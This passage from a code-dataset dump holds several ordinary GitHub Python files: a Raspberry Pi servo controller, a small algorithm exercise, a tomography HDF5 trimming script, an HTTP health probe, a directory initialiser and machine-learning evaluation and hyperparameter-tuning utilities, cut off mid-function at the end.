GPIO.OUT)\n pwm = GPIO.PWM(SERVO_CONTROL_PIN, PWM_FREQUENCY)\n pwm.start(0)\n## end def\n\ndef cleanup(signal, frame):\n \"\"\"\n Description: Resets the servo arm back to zero degrees and\n restores the GPIO interface to default conditions.\n Parameters: \n signal - dummy parameter\n frame - dummy parameter\n Returns: nothing.\n \"\"\"\n pwm.ChangeDutyCycle(0) # set servo angle to 0 degrees\n GPIO.output(SERVO_CONTROL_PIN, False)\n GPIO.cleanup() # reset GPIO to defaults\n exit(0)\n## end def\n\ndef killOtherInstances():\n \"\"\"\n Description: Allows only one instance to run at a time to avoid\n possible smbus bus contention.\n Parameters: none\n Returns: nothing.\n \"\"\"\n thisProc = os.path.basename(__file__)\n\n # Get the list of currently running processes that have the same\n # name as this process, for example, have the name \"servo.py\".\n lProcs = []\n for proc in psutil.process_iter():\n if proc.name() == thisProc:\n lProcs.append(proc)\n # Remove from the list the most recent instance (this instance)\n # of this process.\n lProcs = lProcs[:-1]\n # Kill all previously instantiated instances.\n for proc in lProcs:\n os.kill(proc.pid, signal.SIGTERM)\n## end def\n\ndef getCLarguments():\n \"\"\"\n Description:\n Gets command line arguments and verifies parameters. Valid\n arguments are\n -k kill all instances\n -a {number} angle (degrees)\n -c continuous motion\n -v verbose debug mode\n Parameters: none\n Returns: nothing.\n \"\"\"\n global angle, runContinuous, killAllInstances, verboseMode\n\n index = 1\n try:\n while index < len(sys.argv):\n if sys.argv[index] == '-a':\n angle = float(sys.argv[index + 1])\n assert angle >= 0 and angle <= 180, \\\n 'invalid angle'\n index += 1\n elif sys.argv[index] == '-c':\n runContinuous = True\n elif sys.argv[index] == '-k':\n killAllInstances = True\n elif sys.argv[index] == '-v':\n verboseMode = True\n else:\n cmd_name = sys.argv[0].split('/')\n print('Usage: %s [-a angle] [-c continuous mode] ' \\\n '[-k kill all instances] [-v verbose mode]' \\\n % cmd_name[-1])\n exit(-1)\n index += 1\n ## end while\n except Exception as exError:\n errorMsg = str(exError)\n print(errorMsg)\n exit(-1)\n ## end try\n return\n## end def\n\ndef main():\n \"\"\"\n Description: Gets command line arguments and sets the servo angle\n or runs it continuously. Stops any previously running instances.\n Parameters: none\n Returns: nothing\n \"\"\"\n\n # Clean up GPIO when this process gets killed.\n signal.signal(signal.SIGTERM, cleanup)\n signal.signal(signal.SIGINT, cleanup)\n\n # Get command line arguments.\n getCLarguments()\n\n # Kill all previously launched instances of this script.\n killOtherInstances()\n if killAllInstances:\n exit(0)\n time.sleep(0.01) # delay to allow GPIO cleanup of previous instances\n\n setup()\n \n if runContinuous:\n # Move servo in continuous motion, back and forth through its\n # complete range of motion.\n continuousMotion()\n else:\n # Else move the servo to the specified angle and leave it there.\n setServo(angle)\n\n # Clean up the GPIO interface.\n cleanup(0,0)\n## end def\n\nif __name__ == '__main__':\n main()\n\n## end module\n","repo_name":"fractalxaos/raspiot","sub_path":"servo/bin/servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69804474329","text":"def sum_num(num: int) -> int:\n result = 0\n while num > 0:\n result += num % 10\n num //= 10\n \n return result\n\ndef countBalls(lowLimit: int, highLimit: int) -> int:\n result = 0\n remain = {}\n for i in range(lowLimit, highLimit + 1):\n num = sum_num(i)\n remain[num] = remain[num] + 1 if num in remain else 1\n result = max(result, remain[num])\n \n return result\n\nif __name__ == \"__main__\":\n print(countBalls(lowLimit = 19, highLimit = 28))","repo_name":"DengBoCong/Algorithm","sub_path":"core/tmp/Python/array/maximum_number_of_balls_in_a_box.py","file_name":"maximum_number_of_balls_in_a_box.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"13986682658","text":"import os, sys\nimport h5py, tifffile\nfrom pathlib import Path\nimport numpy as np\nfrom shutil import copyfile\n\n# for 3DTXM with missing angles, especially for electrode samples. \n# check the total projection number or missing angle slice number.\nraw_data_top_dir = \"/run/media/VTLinlab/Lin_Lab_10/MR_3DTXM/Mn_Processed\"\nproj_num = 377\nmissing_wedge_s = 200\nmissing_wedge_e = 300\nwhiteline_dir = '/whiteline_trim'\nPath(raw_data_top_dir+whiteline_dir).mkdir(parents=True, exist_ok=True)\n\n# idx start, end+1\n# scan_idx = np.arange(74533, 74546,1) #C4p5V\nscan_idx = np.arange(75070, 75089,1) #D1p5V\n\nfor jj in range(len(scan_idx)):\n\tfn_raw = os.path.join(raw_data_top_dir,'fly_scan_id_'+str(scan_idx[jj])+'.h5')\n\tprint(fn_raw)\n\tfn = os.path.join(raw_data_top_dir+whiteline_dir,'fly_scan_id_'+str(scan_idx[jj])+'.h5')\n\tcopyfile(fn_raw, fn)\n\n\tf = h5py.File(fn, 'r+')\n\tangle = f['/angle']\n\tangle_temp = angle[0:proj_num]\n\tangle_new = np.concatenate((angle_temp[0:missing_wedge_s], angle_temp[missing_wedge_e:proj_num]))\n\tdel f['/angle']\n\tdset = f.create_dataset('/angle', data=angle_new)\n\n\timg_tomo = f['/img_tomo']\n\timg_tomo_temp = img_tomo[0:proj_num,:,:]\n\timg_tomo_new = np.concatenate((img_tomo_temp[0:missing_wedge_s,:,:], img_tomo_temp[missing_wedge_e:proj_num,:,:]), axis=0)\n\n\tdel f['/img_tomo']\n\tdset = f.create_dataset('/img_tomo', data=img_tomo_new)\n\tf.close()\n\tprint('data trimed '+str(img_tomo_new.shape))\n\n\n# # single file test\n# fn = \"/run/media/VTLinlab/Lin_Lab_10/BNL_FXI_Nov2020/NMC-Ni-D1p5V/whiteline/fly_scan_id_74117.h5\"\n# f = h5py.File(fn, 'r+')\n# proj_num = 429\n# missing_wedge_s = 200\n# missing_wedge_e = 285\n\n# angle = f['/angle']\n# print(angle.shape)\n# # angle_new = []\n\n# angle_temp = angle[0:proj_num]\n# angle_new = np.concatenate((angle_temp[0:missing_wedge_s], angle_temp[missing_wedge_e:proj_num]))\n# print(angle_new.shape)\n\n# del f['/angle']\n# dset = f.create_dataset('/angle', data=angle_new)\n\n# img_tomo = f['/img_tomo']\n# print(img_tomo.shape)\n\n# img_tomo_temp = img_tomo[0:proj_num,:,:]\n# img_tomo_new = np.concatenate((img_tomo_temp[0:missing_wedge_s,:,:], img_tomo_temp[missing_wedge_e:proj_num,:,:]), axis=0)\n# print(img_tomo_new.shape)\n\n# del f['/img_tomo']\n# dset = f.create_dataset('/img_tomo', data=img_tomo_new)\n# f.close()\n# print('data trimed '+str(img_tomo_new.shape))","repo_name":"dhou45/TXMwand","sub_path":"h5_trim_proj_num.py","file_name":"h5_trim_proj_num.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39226245189","text":"import re\nimport time\nimport httpx\nfrom datetime import datetime\nfrom datetime import timezone\n\nfrom health.status import HealthStatus\nfrom health.status import HealthError\nfrom health.status import HealthErrorKind\n\n\nasync def http_probe(url, patterns=None):\n \"\"\"\n Probes an HTTP website for healthiness.\n\n Given an HTTP url like 'http://coolwebsite.com' will probe it\n for healthiness and return an health.status.HealthStatus indicating\n the result of the probing. The timestamp provided on the status response\n indicates the moment the request was made to the given url. It's\n timezone will be UTC.\n\n No exceptions are raised, all errors are encapsulated as a HealthStatus\n result. Any 2XX result will be considered a success, any non 2XX result\n will be considered an error.\n\n Some kind of errors don't have an HTTP status code and a response time,\n like network failures and timeouts.\n In these scenarios the status code and the response time will be 0.\n Only errors that are of the kind HealthErrorKind.HTTP or\n HealthErrorKind.REGEX will have meaningful HTTP status codes and\n response times.\n\n If any regexes are provided (an iterable of regexes) the response\n body of a successful response will be matched against each of the patterns,\n if any of them fail to match the response body it will be considered\n an error, but preserving the original http status code\n received on the response.\n \"\"\"\n\n async with httpx.AsyncClient() as client:\n # WHY: Each probe creating a new client is not advised when\n # there are concerns with performance, but for the case of\n # probing it seems advantageous to always probe from the\n # same state (initial one, establish new connection, etc).\n\n start = time.perf_counter()\n timestamp = datetime.now(timezone.utc)\n\n try:\n r = await client.get(url)\n except httpx.TimeoutException as err:\n return _non_http_error(timestamp, err, HealthErrorKind.TIMEOUT)\n except Exception as err:\n return _non_http_error(timestamp, err, HealthErrorKind.UNKNOWN)\n\n response_time_ms = int((time.perf_counter() - start) * 1000)\n if response_time_ms == 0:\n # Happens on tests, maybe there is a website that fast ? =P\n response_time_ms = 1\n\n if not (r.status_code >= 200 and r.status_code < 300):\n return HealthStatus(\n timestamp=timestamp,\n healthy=False,\n status_code=r.status_code,\n response_time_ms=response_time_ms,\n error=HealthError(kind=HealthErrorKind.HTTP, details=[]),\n )\n\n success = HealthStatus(\n timestamp=timestamp,\n healthy=True,\n status_code=r.status_code,\n response_time_ms=response_time_ms,\n error=None,\n )\n\n if patterns is None:\n return success\n\n errs = []\n for pattern in patterns:\n if not re.search(pattern, r.text):\n err = f\"unable to find match to '{pattern}' on response body\"\n errs.append(err)\n\n if errs == []:\n return success\n\n return HealthStatus(\n timestamp=timestamp,\n healthy=False,\n status_code=r.status_code,\n response_time_ms=response_time_ms,\n error=HealthError(kind=HealthErrorKind.REGEX, details=errs),\n )\n\n\ndef _non_http_error(timestamp, err, kind):\n return HealthStatus(\n timestamp=timestamp,\n healthy=False,\n status_code=0,\n response_time_ms=0,\n error=HealthError(\n kind=kind,\n details=[str(err)]\n ),\n )\n","repo_name":"katcipis/spyglass","sub_path":"src/health/probes.py","file_name":"probes.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39682256509","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/11/9 13:25\n# @Author : XiaoFeng\n# @Email : xiaofengcoding@163.com\n# @Desc : 初始化服务类\n# @File : init_service.py\n\nfrom constants.project_constants import DATA_DIR_NAME\nfrom constants.project_constants import LOG_DIR_NAME\nfrom utils.path_util import get_project_root_path\nimport os\n\n\ndef project_init():\n \"\"\"\n 项目初始化\n :return:\n \"\"\"\n project_dirs_init()\n\n\ndef project_dirs_init():\n \"\"\"\n 初始化项目目录结构【数据目录、日志目录】\n :return:\n \"\"\"\n project_root_path = get_project_root_path()\n project_data_path = project_root_path + DATA_DIR_NAME\n project_log_path = project_root_path + LOG_DIR_NAME\n if not os.path.exists(project_data_path):\n os.mkdir(project_data_path)\n if not os.path.exists(project_log_path):\n os.mkdir(project_log_path)","repo_name":"CodingHaHa/ding-dong","sub_path":"ding-dong/service/init/init_service.py","file_name":"init_service.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40607681069","text":"from parameters import save_boolean\nimport pandas as pd\nfrom parameters import date, repository_path, folder, date, scoring\nimport matplotlib.pyplot as plt\nimport os, sys\nfrom sklearn.metrics import confusion_matrix, classification_report, roc_curve, roc_auc_score, accuracy_score, auc, precision_recall_fscore_support, pairwise, f1_score, log_loss, make_scorer\nfrom sklearn.model_selection import StratifiedKFold, GridSearchCV, RandomizedSearchCV\nimport numpy as np\nfrom pathlib import Path\n\n### as of 02/14/20: needs updating to reflect 08-modeling. \n### needed changes: tune threshold in cv, change rf plot and evaluator function to reflect this. minor changes in formatting to output plots and confusion matrix. \n\n\n### save functions\ndef save_df(df, df_name='default', rel_path='/data/final/'):\n \"\"\"\n simple function for saving result table. uses the date and supplied df name and saves to the savepath specified above.\n \"\"\"\n global folder\n \n save_path= str(repository_path)+rel_path\n \n address=save_path+'{}_{}/'.format(date,folder)\n if not os.path.exists(address):\n print(address)\n os.makedirs(address)\n else:\n print(address)\n \n if address.endswith('/')==False:\n address= address+'/'\n \n if df_name == 'default':\n df_name =[x for x in globals() if globals()[x] is df][0]\n \n pd.DataFrame(df).to_csv(Path(address+'{}_{}.csv'.format(date, df_name)))\n\ndef saveplot(plt, figure_name):\n \"\"\"\n simple function for saving plots\n \"\"\"\n address = str(repository_path)+'/figures/{}_{}'.format(date,folder)\n print(address)\n\n if not os.path.exists(address):\n os.makedirs(address)\n plt.savefig(address+\"/{}.png\".format(figure_name),bbox_inches='tight')\n\n\n### model evaluation & plotting functions\n\ndef evaluate(model, x, y):\n \"simple classification evaluation metrics and output used in my hypertuning functions\"\n from sklearn.metrics import log_loss\n \n y_hat = model.predict(x)\n y_hat_proba = model.predict_proba(x)[:, 1] \n errors = abs(y_hat - y)\n mape = 100 * np.mean(errors / y)\n accuracy = 100 - mape\n auc=roc_auc_score(y, y_hat_proba)\n loss= log_loss(y, y_hat_proba)\n \n print ('the AUC is: {:0.3f}'.format(auc))\n print ('the logloss is: {:0.3f}'.format(loss))\n print(confusion_matrix(y, y_hat))\n print(classification_report(y,y_hat, digits=3))\n \n if scoring=='neg_log_loss':\n return_value=loss\n elif scoring=='roc_auc':\n return_value=auc\n else:\n raise ValueError\n \n return (return_value)\n\ndef optimal_youden_index(fpr, tpr, thresholds, tp90=True):\n \"\"\"\n inputs fpr, tpr, thresholds from metrics.roc(),\n outputs the clasification threshold, roc dataframe, and the index of roc dataframe for optimal youden index\n \"\"\"\n #making dataframe out of the thresholds\n roc_df= pd.DataFrame({\"thresholds\": thresholds,\"fpr\":fpr, \"tpr\": tpr})\n roc_df.iloc[0,0] =1\n roc_df['yuden']= roc_df['tpr']-roc_df['fpr']\n \n if tp90==True:\n idx= roc_df[roc_df['tpr']>=0.9]['yuden'].idxmax() #changed this so now finds optimial yuden threshold but tp>=90%\n else:\n idx=roc_df['yuden'].idxmax() #MAX INDEX\n \n youden_threshold=roc_df.iloc[idx,0] #threshold for max youden\n return(youden_threshold, roc_df, idx)\n \ndef plot_roc(fpr, tpr, roc_auc, roc_df, idx, save=save_boolean, model_name=None, folder_name=None, file_name=None):\n plt.title('ROC with optimal Youden Index')\n plt.plot(fpr, tpr, 'b', label = 'AUC = %0.2f' % roc_auc)\n plt.legend(loc = 'lower right')\n plt.plot([0, 1], [0, 1],'r--')\n \n #finding the point on the line given threshold 0.5 (finding closest row in roc_df)\n og_idx=roc_df.iloc[(roc_df['thresholds']-0.5).abs().argsort()[:1]].index[0]\n plt.plot(roc_df.iloc[og_idx,1], roc_df.iloc[og_idx,2],marker='o', markersize=5, color=\"g\")\n plt.annotate(s=\"P(>=0.5)\",xy=(roc_df.iloc[og_idx,1]+0.02, roc_df.iloc[og_idx,2]-0.04),color='g') #textcoords\n \n plt.plot(roc_df.iloc[idx,1], roc_df.iloc[idx,2],marker='o', markersize=5, color=\"r\") ##\n plt.annotate(s=\"TPR>=0.9\",xy=(roc_df.iloc[idx,1]+0.02, roc_df.iloc[idx,2]-0.04),color='r' ) #textcoords\n plt.xlim([0, 1])\n plt.ylim([0, 1])\n plt.ylabel('True Positive Rate')\n plt.xlabel('False Positive Rate')\n plt.grid(color='grey', linestyle='-', linewidth=1, alpha=0.2)\n \n if save==True:\n saveplot(plt, figure_name=\"{}_roc\".format(model_name))\n else: pass\n \n plt.show()\n \n \ndef classifier_eval(model, x, y, proba_input=False,pos_label=1, print_default=True,model_name=None, folder_name=None, save=save_boolean):\n import sklearn.metrics as metrics\n from sklearn.metrics import precision_score, roc_auc_score, f1_score, recall_score\n \"\"\"\n classification evaluation function. able to print/save the following:\n \n print/save the following:\n ROC curve marked with threshold for optimal youden (maximizing tpr+fpr with constraint that tpr>0.9)\n\n using 0.5 threshold:\n confusion matrix\n classification report\n npv\n accuracy\n\n using optimal youden (maximizing tpr+fpr with constraint that tpr>0.9):\n confusion matrix\n classification report\n npv\n accuracy\n \n output: \n outputs modelname, auc, precision, recall, f1, and npv to a dictionary. \n \n notes:\n youden's J statistic: J= sensitivity + specificity -1\n (truepos/ truepos+falseneg) + (true neg/ trueneg + falsepos) -1. \n NOTE: with tpr>0.9 turned on, the youden statistic is basically just the furthest point on the line away from the midline with tpr>=0.9\n NOTE2: this function arguably does too much. in the future it may be better to seperate it out into more compartmental functions like with preprocessing().\n \"\"\"\n \n if proba_input==True: \n y_proba= model\n y_pred=[1 if y >= 0.5 else 0 for y in y_proba]\n \n else:\n model_name=type(model).__name__\n\n y_pred = model.predict(x)\n y_proba = model.predict_proba(x)[:,1]\n \n fpr, tpr, thresholds = metrics.roc_curve(y, y_proba, pos_label=pos_label)\n roc_auc = metrics.auc(fpr, tpr)\n# print(\"AUROC:\",roc_auc)\n \n #gathering the optimal youden_index and df of tpr/fpr for auc and index of that optimal youden. idx is needed in the roc\n youden_threshold, roc_df, idx= optimal_youden_index(fpr, tpr, thresholds,tp90=True)\n\n #plotting roc\n plot_roc(fpr, tpr, roc_auc, roc_df, idx, save=save, model_name=model_name,folder_name=folder)\n plt.show(), plt.close()\n \n #printing npv, recall, precision, accuracy\n npv=confusion_matrix(y, y_pred)[0,0]/sum(np.array(y_pred)==0)\n prec= precision_score(y_true=y, y_pred= y_pred, pos_label=pos_label)\n recall= recall_score(y_true=y, y_pred= y_pred, pos_label=pos_label)\n f1= f1_score(y_true=y, y_pred= y_pred, pos_label=pos_label)\n \n if print_default==True: ###can opt to not print the 0.5 classification threshold classification report/conf matrix\n #plotting confusion matrixs\n print(\"******* Using 0.5 Classification Threshold *******\\n\")\n print(confusion_matrix(y, y_pred))\n print ('the Accuracy is: {:01.3f}'.format(accuracy_score(y, y_pred)))\n print (\"npv: {:01.3f}\".format(npv))\n print ('the classification_report:\\n', classification_report(y,y_pred, digits=3))\n else:\n pass\n \n #### YOUDEN ADJUSTMENT #####\n\n print(\"******* Using Optimal Youden Classification Threshold *******\")\n print(\"\\nthe Youden optimal index is : {:01.3f}\".format(youden_threshold))\n\n y_pred_youden = [1 if y >= youden_threshold else 0 for y in y_proba]\n\n npv_y=confusion_matrix(y, y_pred_youden)[0,0]/sum(np.array(y_pred_youden)==0)\n prec_y= precision_score(y_true=y, y_pred= y_pred_youden, pos_label=pos_label)\n recall_y= recall_score(y_true=y, y_pred= y_pred_youden, pos_label=pos_label)\n f1_y= f1_score(y_true=y, y_pred= y_pred_youden, pos_label=pos_label)\n auc_y=roc_auc_score(y_true=y, y_score= y_proba)\n \n ##plotting and saving confusion matrix\n confusion_youden=confusion_matrix(y, y_pred_youden)\n \n #plotting confusion matrixs\n print(confusion_matrix(y, y_pred_youden))\n print ('the Accuracy is: {:01.3f}'.format(accuracy_score(y, y_pred_youden)))\n print (\"npv: {:01.3f}\".format(npv_y))\n print ('the classification_report:\\n', classification_report(y,y_pred_youden, digits=3))\n \n youden_dic= {'model':model_name, 'auc':auc_y, 'precision':prec_y, 'recall':recall_y, 'f1':f1_y, 'npv':npv_y}\n return(youden_dic)\n \n \n##### stacked roc plots\n\ndef roc_publishing(model, x, y, proba_input=False,pos_label=1, print_default=True, model_name=None):\n import sklearn.metrics as metrics\n from sklearn.metrics import precision_score, roc_auc_score, f1_score, recall_score\n\n model_name=type(model).__name__\n\n y_proba = model.predict_proba(x)[:,1]\n \n fpr, tpr, thresholds = metrics.roc_curve(y, y_proba, pos_label=pos_label)\n roc_auc = metrics.auc(fpr, tpr)\n \n #gathering the optimal youden_index and df of tpr/fpr for auc and index of that optimal youden. idx is needed in the roc\n youden_threshold, roc_df, idx= optimal_youden_index(fpr, tpr, thresholds, tp90=True)\n \n return(fpr, tpr, roc_auc, roc_df, idx)\n \n\ndef stacked_roc(x_test, y_test, models_dic, first_bold=True, plot_threshold=False):\n \"\"\"\n plotting function to plot a stacked ROC based on models in a dictionary. \n first_bold=True means that the first model in the dic will stand out and be a solid line, while others are dotted\n \"\"\"\n \n global save_boolean\n \n plt.style.use('seaborn-white')\n plt.rcParams['figure.figsize'] = [7, 4]\n \n if first_bold==True:\n i=0\n else: \n i=1\n \n for model_name in models_dic.keys():\n if i==0:\n model=models_dic[model_name]\n fpr, tpr, roc_auc, roc_df, idx= roc_publishing(model, x=np.array(x_test), y=y_test, model_name=model_name)\n # print(model_name, roc_auc)\n ax1= plt.plot(fpr, tpr, 'b', label = '%s AUC = %0.3f' % (model_name, roc_auc), linewidth=2)\n og_idx=roc_df.iloc[(roc_df['thresholds']-0.5).abs().argsort()[:1]].index[0]\n if plot_threshold==True:\n plt.plot(roc_df.iloc[og_idx,1], roc_df.iloc[og_idx,2],marker='o', markersize=8, color=\"black\")\n plt.plot(roc_df.iloc[idx,1], roc_df.iloc[idx,2],marker='o', markersize=6, color='r') ##\n\n else:\n model=models_dic[model_name]\n fpr, tpr, roc_auc, roc_df, idx= roc_publishing(model, x=np.array(x_test), y=y_test, model_name=model_name)\n # print(model_name, roc_auc)\n ax1= plt.plot(fpr, tpr, label = '%s AUC = %0.3f' % (model_name, roc_auc), linestyle='dotted')\n og_idx=roc_df.iloc[(roc_df['thresholds']-0.5).abs().argsort()[:1]].index[0]\n if plot_threshold==True:\n plt.plot(roc_df.iloc[og_idx,1], roc_df.iloc[og_idx,2],marker='o', markersize=8, color=\"black\")\n plt.plot(roc_df.iloc[idx,1], roc_df.iloc[idx,2],marker='o', markersize=6, color='r') ##\n i+=1\n \n ###annotating the plot\n plt.legend(loc = 'lower right') \n if plot_threshold==True:\n plt.annotate(s=\"P(0.5)\",xy=(0.71, 0.50),color='black', size=10) #textcoords #alt: xy=(0.78, 0.345)\n plt.plot(0.68, 0.51, 'ro', color='black') #alt: (0.73, 0.36, 'ro', color='black')\n plt.annotate(s=\"P(tuned)\",xy=(0.71, 0.56),color='black', size=10) #textcoords #alt: xy=(0.78, 0.405)\n plt.plot(0.68, 0.57, 'ro', color='r') #alt: (0.73, 0.42, 'ro', color='r')\n\n plt.xlim([0, 1])\n plt.ylim([0, 1])\n plt.ylabel('True Positive Rate', size=14)\n plt.xlabel('False Positive Rate', size=14)\n\n if save_boolean==True:\n saveplot(plt,'stacked_roc')\n else: pass\n plt.show()\n \n \n##### variable importance fxns\n\n\ndef find_N_varimp_set(x_train, models_dic):\n \"\"\"\n function that takes in a dictionary of models and the x_train dataframe and returns the set of variables present in the combined list of each model's top N most important variables.\n 1) find top N variables for each model\n 2) make list of all models top N\n 3) filter to only unique values in list = varimp_names\n \"\"\"\n global n_varimp\n features_dic={}\n top_set_dic={}\n\n for model_name in models_dic.keys():\n model= models_dic[model_name]\n print(model_name)\n if model_name in ['knn','ensemble', 'mlp']:\n pass\n elif model_name in ['logreg','svc']:\n feature_importance = abs(model.coef_[0])\n sorted_idx = np.argsort(feature_importance)[-n_varimp:]#[0]\n features =list(np.array(x_train.columns)[sorted_idx][-n_varimp:])\n features_dic.update( {model_name :features } )\n else:\n feat_importances = pd.Series(model.feature_importances_, index=x_train.columns)\n features=feat_importances.nlargest(n_varimp).sort_values()\n features=list(features.reset_index()['index'])\n features_dic.update( {model_name :features } )\n #######\n set_features=[]\n\n for features in features_dic.values():\n set_features=set_features+features\n set_features=set(set_features)\n varimp_names=list(set_features)\n\n return(varimp_names)\n \ndef topN_rel_imp(models_dic, varimp_names):\n \"\"\"\n input:dictionary of models and the top N set of important variables among models\n output: relative variable importance for each model of all set(varimp_names) variables.\n note: relative variable importance determined by dividing each variable importance by the value of the most important variable. this makes all values a comparison to the most important varaible:\n ie 50 rel variable importance = half as important as the most important variable\n \"\"\"\n \n # finding the index of the set(varimp_names) in the dataframe. \n #getting index of the set(top10) variables in x_train\n xtrain_column_index_list=[]\n for element in varimp_names:\n variable_index=list(x_train).index(element)\n xtrain_column_index_list.append(variable_index)\n \n top_set_dic={} #instantiating dictionary\n for model_name in models_dic.keys(): ##now that we have set of top N variables for each model. we can make relative importance for all unique variables in the set\n model= models_dic[model_name]\n if model_name in ['knn','ensemble', 'mlp']:\n pass\n \n elif model_name in ['logreg','svc']: \n imp= abs(model.coef_[0])[xtrain_column_index_list]\n rel_imp=100.0 * (imp / imp.max())\n features =list(np.array(x_train.columns)[xtrain_column_index_list])#[-n_varimp:])\n top_set= pd.Series(rel_imp,features).sort_values()\n top_set_dic.update( {model_name :top_set } )\n\n else:\n imp=pd.Series(models_dic[model_name].feature_importances_, index=x_train.columns)[xtrain_column_index_list]\n imp=imp.sort_values()\n rel_imp=100.0 * (imp / imp.max())\n features =list(np.array(x_train.columns)[xtrain_column_index_list])\n top_set= rel_imp\n top_set_dic.update( {model_name :top_set } )\n\n return(top_set_dic)\n \n\ndef roc_name_adjust(varimp_names):\n \"\"\"\n cleans up the column names for the variable importance plot for publishing\n \"\"\"\n adjusted_names=[]\n mapper={'vent_recieved_2.0': 'mechanical ventilation recieved',\n 'vent_recieved_1.0': 'oxygen ventilation recieved',\n 'vent_recieved_1.0': 'no ventilation recieved',\n 'pao2fio2ratio':'PaO2:FiO2',\n 'ipco2_>50': 'pCO2 (>50)',\n 'ibands_>10': 'bands (>10)',\n 'ibands_absent': 'bands (missing)'}\n \n for element in varimp_names:\n if element in mapper.keys():\n element= mapper[element]\n adjusted_names.append(element)\n elif \"_1.0\" in element:\n element= element.strip(\"_1.0\") + ' (Y/N)'\n adjusted_names.append(element)\n else:\n adjusted_names.append(element)\n \n return(adjusted_names)\n \n\ndef plot_topN_rel_imp(top_set_dic, varimp_names, xvar_rotation=80):\n \"\"\"\n plot the variable importance plots as a lineplot\n rotation: the amount of xvar rotation\n \"\"\"\n global save_boolean\n \n df_base=pd.DataFrame(index=varimp_names) \n\n for model_name in top_set_dic.keys():\n df_base[model_name]= top_set_dic[model_name]\n\n adjusted_names=roc_name_adjust(varimp_names)\n df_base.index=adjusted_names\n df_base.sort_values('rf', ascending=False)\n\n plt.style.use('seaborn-ticks')\n plt.rcParams['figure.figsize'] = [10,10]#[7, 7]\n plt.plot(df_base.sort_values('rf', ascending=True))\n #plt.set_xticklabels(adjusted_names,rotation=30)\n plt.xticks(rotation=xvar_rotation)#, ha='right')\n plt.ylabel(\"Relative Variable Importance\")\n plt.legend(list(df_base))\n \n if save_boolean==True:\n saveplot(plt,'variable_importance')\n\n return(df_base)\n\n\n##### hypertuning functions\ndef hypertuning_fxn(x, y, nfolds, model , param_grid, subject_id, scoring=scoring, gridsearch=True, n_iter=20, verbose=False): \n \"\"\"\n use this function to hypertune parameters of machine learning models given a parameter grid.\n gridsearch=True means it will test all combinations\n gridsearch=False; n_iter: will test n_iter pseudo-random hyperparameter combinations\n\n in general the function will present the average scorer \"default=AUROC\" values across all cv folds for the best and worst parameters.\n Additionally it will also take the best and worst parameters and will fit & predict the trainingset. this is useful to see overfitting.\n \"\"\"\n from sklearn.model_selection import GroupKFold\n\n print(\"######## model: \", type(model).__name__, '########')\n\n np.random.seed(12345)\n if gridsearch==True:\n grid_search = GridSearchCV(estimator= model,\n param_grid=param_grid,\n cv=GroupKFold(nfolds),\n scoring=scoring,\n return_train_score=True,\n n_jobs = -1)\n else:\n grid_search = RandomizedSearchCV(estimator= model,\n param_distributions= param_grid,\n n_iter=n_iter,\n cv=GroupKFold(nfolds),\n scoring=scoring,\n return_train_score=True,\n random_state=12345,\n n_jobs = -1)\n \n # if type(model).__name__=='XGBClassifier':\n # grid_search.fit(np.array(x), np.array(y).ravel(), groups=subject_id) \n # else:\n # grid_search.fit(x, y, groups=subject_id) \n grid_search.fit(x, y, groups=subject_id) \n print(\" scorer function: {}\".format(scoring))\n print(\" ##### CV performance: mean & sd scores #####\")\n\n means = grid_search.cv_results_['mean_test_score']\n stds = grid_search.cv_results_['std_test_score']\n print('best cv score: {:0.3f}'.format(grid_search.best_score_))\n print('best cv params: ', grid_search.best_params_)\n\n worst_index=np.argmin(grid_search.cv_results_['mean_test_score'])\n print('worst cv score: {:0.3f}'.format(grid_search.cv_results_['mean_test_score'][worst_index]))\n print('worst cv params: ', grid_search.cv_results_['params'][worst_index])\n ##\n if verbose==True:\n for mean, std, params in zip(means, stds, grid_search.cv_results_['params']):\n print(\"%0.3f (+/-%0.03f) for %r\"% (mean, std * 2, params))\n\n print('##### training set performance #####\\n') \n print(' best hypertuned model training set performance:')\n best_random = grid_search.best_estimator_\n best_random_auc = evaluate(best_random, x, y)\n \n print(' worst hypertuned model training set performance:')\n worst_params= grid_search.cv_results_['params'][worst_index]\n worst_random=model.set_params(**worst_params)\n worst_random.fit(x,y)\n worst_random_auc = evaluate(worst_random, x, y) \n \n print('relative scorer change of {:0.2f}%. between worst and best hyperparams on TRAINING set (may be overfit)'.format( 100 * (best_random_auc - worst_random_auc) / worst_random_auc))\n \n return(grid_search)\n\ndef hypertuned_cv_fxn(x, y, model_in, nfolds, subject_id):\n \"\"\"\n the goal of this function is to take the best hypertuned model and \n generate average and std for F-1, precision, recall, npv, and AUC across each fold.\n Ideally i could have generated this above in my hypertuning cv function,\n but it actually took less computational time to just rerun cv on the best performing evaluator and collect all of the averaged performance metrics\n \"\"\"\n from sklearn.model_selection import GroupKFold\n import sklearn.metrics as metrics\n from sklearn.metrics import precision_score, roc_auc_score, f1_score, recall_score\n from sklearn.base import clone\n\n pos_label=1\n model= clone(model_in, safe=True)\n np.random.seed(12345)\n group_kfold = GroupKFold(n_splits=nfolds)\n group_kfold.get_n_splits(x, y, subject_id)\n\n f1_y_cv=[]\n auc_y_cv=[]\n prec_y_cv=[]\n recall_y_cv=[]\n npv_y_cv=[]\n\n for train_index, test_index in group_kfold.split(x, y, subject_id):\n x_train_cv, x_test_cv = x[train_index], x[test_index]\n y_train_cv, y_test_cv = y[train_index], y[test_index]\n model.fit(x_train_cv, y_train_cv)\n \n y_proba = model.predict_proba(x_test_cv)[:,1]\n y_pred = model.predict(x_test_cv)\n\n fpr, tpr, thresholds = metrics.roc_curve(y_test_cv, y_proba, pos_label=pos_label) \n #gathering the optimal youden_index and df of tpr/fpr for auc and index of that optimal youden. idx is needed in the roc\n youden_threshold, roc_df, idx= optimal_youden_index(fpr, tpr, thresholds,tp90=True)\n y_pred_youden = [1 if y >= youden_threshold else 0 for y in 